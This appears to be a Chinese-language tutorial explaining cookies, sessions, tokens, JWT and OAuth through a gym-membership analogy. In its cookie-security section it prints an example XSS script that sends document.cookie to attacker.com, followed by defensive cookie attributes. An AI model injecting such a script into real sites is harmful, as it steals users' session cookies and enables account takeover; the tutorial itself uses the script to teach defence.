Cookie是HTTP协议的一部分,由Set-Cookie响应头设置,由Cookie请求头发送。

一个标准的Cookie包含以下属性:

属性 作用 例子
name=value Cookie的名称和值 sessionId=abc123
Expires 过期时间 Expires=Wed, 01 Jan 2027 00:00:00 GMT
Max-Age 多少秒后过期 Max-Age=3600
Path 生效路径 Path=/
Domain 生效域名 Domain=example.com
Secure 仅HTTPS发送 Secure
HttpOnly JS无法读取 HttpOnly
SameSite 跨站策略 SameSite=Strict

每个浏览器都有自己的Cookie存储:

  • Chrome/Edge:SQLite数据库
  • Firefox:JSON文件
  • Safari:二进制文件

浏览器会根据Domain + Path + SameSite三个规则决定是否发送Cookie。


Session是什么?

还是健身房的例子。

你有会员卡(Cookie),但健身房还需要知道你的详细信息:姓名、电话、套餐类型、健身记录……

这些信息存在哪?健身房后台的电脑里

每次你出示会员卡,前台就在电脑里查:「12345号会员,信息如下……」

这个后台记录,就是Session

深入了解Session 🔬

Session是服务器端的状态管理机制。

┌─────────────────────────────────────────────────────────────┐
                        服务器                                
  ┌──────────────┐    ┌──────────────┐    ┌──────────────┐ 
   Session ID        Session ID        Session ID    
   abc123            def456            ghi789        
   {user:张三}       {user:李四}       {user:王五}   
  └──────────────┘    └──────────────┘    └──────────────┘ 
└─────────────────────────────────────────────────────────────┘
         
          sessionId=abc123 (Cookie)
         
┌─────────────────────────────────────────────────────────────┐
                        浏览器                                
  Cookie: sessionId=abc123                                   
└─────────────────────────────────────────────────────────────┘

Session的工作流程:

1. 客户端  服务器:POST /login {username, password}
2. 服务器  数据库:验证用户名密码
3. 服务器  Redis/内存:创建 Session {
       sessionId: "abc123",
       userId: 12345,
       username: "张三",
       loginTime: "2026-01-01 10:00:00",
       expireTime: "2026-01-02 10:00:00"
   }
4. 服务器  客户端:Set-Cookie: sessionId=abc123; HttpOnly

服务端Session存储对比:

存储方式 优点 缺点
内存 重启丢失、无法分布式
Redis 快、持久、可分布式 需要额外组件
数据库 持久

为什么关掉浏览器再打开,还是登录状态?

这就涉及到Cookie的有效期了。

Cookie有两种:

类型 有效期 举例
会话Cookie 关掉浏览器就失效 网银登录(安全)
持久Cookie 到指定日期才失效 购物网站记住登录(方便)

如果没有设置expires,那就是会话Cookie——关掉浏览器,"会员卡"就失效了。

但如果设置了有效期,那这张"会员卡"可以管好几年!

深入了解Cookie有效期 🔬

会话Cookie vs 持久Cookie的区别:

# 会话Cookie(没有Expires/Max-Age)
Set-Cookie: sessionId=abc123

# 持久Cookie
Set-Cookie: sessionId=abc123; Expires=Wed, 01 Jan 2027 00:00:00 GMT

换个浏览器为什么登录失效了?因为Cookie存在浏览器本地,不同浏览器有独立存储,互不相通。


Cookie有哪些问题?

Cookie虽然好用,但也有不少坑:

  1. 大小限制:一个Cookie最多4KB,存不了太多数据
  2. 明文传输:HTTP请求不加密,被人抓包就完了
  3. 会被XSS偷走:攻击者通过JavaScript就能拿到你的Cookie
  4. 不能跨域:baidu.com的Cookie不会发给google.com

深入了解Cookie安全问题 🔬

为什么Cookie容易出问题?

因为Cookie是明文传输的!HTTP请求长这样:

GET /profile HTTP/1.1
Host: example.com
Cookie: userId=12345; sessionId=abc123

用Wireshark等工具轻松就能看到你的Cookie。

XSS攻击是什么?

攻击者在网站评论区偷偷注入一段JavaScript代码:

// 攻击者在网站评论区注入这段代码
<script>
  fetch('https://attacker.com?cookie=' + document.cookie);
</script>

当其他用户访问这个页面时,这段代码就会悄悄执行,把大家的Cookie发送给攻击者的服务器。

怎么防护?

给Cookie加上安全属性:

Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
  • HttpOnly:JavaScript无法读取,防止XSS偷Cookie
  • Secure:只能用HTTPS发送,防止抓包
  • SameSite:阻止CSRF攻击

Token:更好的方案?

正因为Cookie有这些问题,现在很多网站用Token来代替Session。

Token就像一张临时通行证

  • 你登录成功后,服务器给你发一个Token
  • 以后每次请求,带上这个Token
  • 服务器验证Token,而不是查Session

深入了解Token 🔬

Token的工作流程:

1. 客户端  服务器:POST /login {username, password}
2. 服务器  数据库:验证用户名密码
3. 服务器:生成Token(签名)
4. 服务器  客户端:{token: "eyJhbGci..."}
5. 客户端  服务器:Authorization: Bearer eyJhbGci...
6. 服务器:验证Token签名,返回用户信息

Token vs Session 对比:

特征 Session Token
存储位置 服务器 客户端
服务器压力 存储所有Session 只验证签名
扩展性 需要Redis等中间件 无状态
跨域 受Cookie限制 任意发送

JWT:Token的一种格式 📄

JWT(JSON Web Token)是最常见的Token格式:

eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IuW8lOWhlSIsImlhdCI6MTcwNjU5MjAwMCwiZXhwIjoxNzM4MTI4MDAwfQ.fgJ3k9a7b2c1d8e

拆开看是三部分:

┌────────────────────────────────────────────────────────────┐
 Header (头部) - Base64编码                                  
 { "alg": "HS256", "typ": "JWT" }                          
├────────────────────────────────────────────────────────────┤
 Payload (载荷) - Base64编码                                 
 { "sub": "1234567890", "name": "张三", "exp": 1738128000 }
├────────────────────────────────────────────────────────────┤
 Signature (签名) - 密钥加密                                 
 HMACSHA256(base64UrlEncode(header) + "." + ... , "密钥")  
└────────────────────────────────────────────────────────────┘

为什么JWT更高效? 服务器只需要验证签名,不用查询数据库


OAuth:第三方登录 🔐

你肯定见过"用微信登录""用Google登录"——这就是OAuth

OAuth让你授权别的应用访问你的信息,但不用告诉它你的密码。

深入了解OAuth 2.0 🔬

OAuth 2.0的完整流程(授权码模式):

用户  第三方App  授权服务器  资源服务器
                                  
点击登录  跳转页面   返回授权码    返回Token
                            
                    获取用户信息

OAuth的四种授权方式:

方式 适用场景 安全性
授权码 Web App ⭐⭐⭐⭐⭐
简化 纯前端SPA ⭐⭐⭐
密码模式 自己的产品 ⭐⭐
客户端模式 服务器对服务器 ⭐⭐⭐⭐

总结

类别 是什么 存哪 像什么
Cookie 浏览器存的小数据 浏览器 会员卡
Session 服务器存的用户档案 服务器 健身房后台档案
Token 验证身份的令牌 客户端 临时通行证
OAuth 第三方授权 - 让别人帮你开门,但不给钥匙

写在最后

现在你应该懂了:

  • Cookie = 会员卡,浏览器帮你保管
  • Session = 健身房档案,服务器帮你保管
  • Token = 临时通行证,比Cookie更灵活
  • OAuth = 授权别人访问你的信息,不用给密码
  • 关掉浏览器还是登录状态 = 你的"会员卡"还没过期

下次登录时看到「记住我」或「用微信登录」,你就知道——哦,背后原来是这么回事呢。

❌